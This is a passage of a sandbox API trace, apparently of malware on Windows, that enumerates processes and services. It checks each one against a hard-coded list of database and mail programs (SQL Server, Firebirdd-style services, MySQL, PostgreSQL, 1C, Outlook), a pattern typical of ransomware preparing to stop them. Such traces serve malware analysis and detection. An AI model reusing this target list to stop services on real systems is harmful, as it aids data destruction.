	[0260.168] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0260.168] lstrlenW (lpString="dllhost.exe") returned 11
	[0260.168] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0260.168] lstrlenW (lpString="taskhost.exe") returned 12
	[0260.168] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0260.169] lstrlenW (lpString="svchost.exe") returned 11
	[0260.169] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0260.169] lstrlenW (lpString="reader_sl.exe") returned 13
	[0260.169] Process32NextW (in: hSnapshot=0x274, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0260.169] CloseHandle (hObject=0x274) returned 1
	[0260.170] Sleep (dwMilliseconds=0x1f4) 
	[0260.748] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280ab8
	[0261.254] EnumServicesStatusExW (in: hSCManager=0x4280ab8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0261.254] GetLastError () returned 0xea
	[0261.254] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc9a) returned 0x41f5d68
	[0261.254] EnumServicesStatusExW (in: hSCManager=0x4280ab8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xc9a, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0261.254] CloseServiceHandle (hSCObject=0x4280ab8) returned 1
	[0261.255] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0261.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0261.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0261.255] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0261.255] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0261.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0261.255] lstrlenW (lpString="AudioSrv") returned 8
	[0261.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0261.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0261.255] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0261.255] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0261.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0261.255] lstrlenW (lpString="BFE") returned 3
	[0261.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0261.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0261.255] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0261.255] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0261.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0261.255] lstrlenW (lpString="CryptSvc") returned 8
	[0261.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0261.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0261.255] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0261.255] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0261.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0261.255] lstrlenW (lpString="CscService") returned 10
	[0261.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0261.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0261.256] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0261.256] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0261.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0261.256] lstrlenW (lpString="DcomLaunch") returned 10
	[0261.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0261.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0261.256] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0261.256] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0261.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0261.256] lstrlenW (lpString="Dhcp") returned 4
	[0261.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0261.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0261.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0261.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0261.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0261.256] lstrlenW (lpString="Dnscache") returned 8
	[0261.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0261.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0261.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0261.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0261.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0261.256] lstrlenW (lpString="DPS") returned 3
	[0261.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0261.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0261.256] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0261.256] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0261.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0261.256] lstrlenW (lpString="eventlog") returned 8
	[0261.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0261.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0261.256] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0261.256] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0261.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0261.257] lstrlenW (lpString="EventSystem") returned 11
	[0261.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0261.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0261.257] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0261.257] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0261.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0261.257] lstrlenW (lpString="gpsvc") returned 5
	[0261.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0261.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0261.257] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0261.257] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0261.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0261.257] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0261.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0261.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0261.257] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0261.257] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0261.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0261.257] lstrlenW (lpString="lmhosts") returned 7
	[0261.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0261.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0261.257] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0261.257] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0261.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0261.257] lstrlenW (lpString="MMCSS") returned 5
	[0261.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0261.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0261.257] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0261.257] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0261.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0261.257] lstrlenW (lpString="MpsSvc") returned 6
	[0261.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0261.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0261.258] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0261.258] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0261.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0261.258] lstrlenW (lpString="NlaSvc") returned 6
	[0261.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0261.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0261.258] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0261.258] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0261.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0261.258] lstrlenW (lpString="nsi") returned 3
	[0261.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0261.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0261.258] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0261.258] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0261.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0261.258] lstrlenW (lpString="PcaSvc") returned 6
	[0261.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0261.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0261.258] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0261.258] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0261.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0261.258] lstrlenW (lpString="PlugPlay") returned 8
	[0261.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0261.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0261.258] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0261.258] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0261.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0261.258] lstrlenW (lpString="Power") returned 5
	[0261.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0261.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0261.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0261.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0261.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0261.259] lstrlenW (lpString="ProfSvc") returned 7
	[0261.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0261.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0261.259] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0261.259] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0261.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0261.259] lstrlenW (lpString="RpcEptMapper") returned 12
	[0261.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0261.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0261.259] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0261.259] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0261.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0261.259] lstrlenW (lpString="RpcSs") returned 5
	[0261.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0261.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0261.259] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0261.259] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0261.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0261.259] lstrlenW (lpString="SamSs") returned 5
	[0261.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0261.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0261.259] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0261.259] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0261.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0261.259] lstrlenW (lpString="Schedule") returned 8
	[0261.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0261.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0261.259] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0261.259] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0261.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0261.259] lstrlenW (lpString="SENS") returned 4
	[0261.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0261.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0261.260] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0261.260] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0261.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0261.260] lstrlenW (lpString="ShellHWDetection") returned 16
	[0261.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0261.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0261.260] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0261.260] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0261.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0261.260] lstrlenW (lpString="Spooler") returned 7
	[0261.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0261.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0261.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0261.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0261.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0261.260] lstrlenW (lpString="Themes") returned 6
	[0261.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0261.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0261.260] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0261.260] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0261.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0261.260] lstrlenW (lpString="UxSms") returned 5
	[0261.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0261.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0261.260] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0261.260] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0261.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0261.260] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0261.260] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x350
	[0261.262] Process32FirstW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0261.262] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0261.262] lstrlenW (lpString="System") returned 6
	[0261.262] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0261.262] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0261.262] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0261.262] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0261.262] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0261.262] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0261.262] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0261.262] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0261.263] lstrlenW (lpString="smss.exe") returned 8
	[0261.263] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0261.263] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0261.263] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0261.263] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0261.263] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0261.263] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0261.263] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0261.263] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0261.263] lstrlenW (lpString="csrss.exe") returned 9
	[0261.263] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0261.263] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0261.263] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0261.263] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0261.263] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0261.263] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0261.263] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0261.263] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0261.263] lstrlenW (lpString="wininit.exe") returned 11
	[0261.264] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0261.264] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0261.264] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0261.264] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0261.264] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0261.264] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0261.264] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0261.264] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0261.264] lstrlenW (lpString="csrss.exe") returned 9
	[0261.264] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0261.264] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0261.264] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0261.264] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0261.264] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0261.264] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0261.264] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0261.264] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0261.264] lstrlenW (lpString="winlogon.exe") returned 12
	[0261.264] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0261.264] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0261.265] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0261.265] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0261.265] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0261.265] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0261.265] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0261.265] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0261.265] lstrlenW (lpString="services.exe") returned 12
	[0261.265] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0261.265] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0261.265] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0261.265] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0261.265] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0261.265] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0261.265] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0261.265] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0261.265] lstrlenW (lpString="lsass.exe") returned 9
	[0261.265] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0261.265] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0261.265] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0261.265] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0261.266] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0261.266] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0261.266] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0261.266] Process32NextW (in: hSnapshot=0x350, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0261.266] lstrlenW (lpString="lsm.exe") returned 7
	[0261.266] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0261.266] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0261.266] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0261.266] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
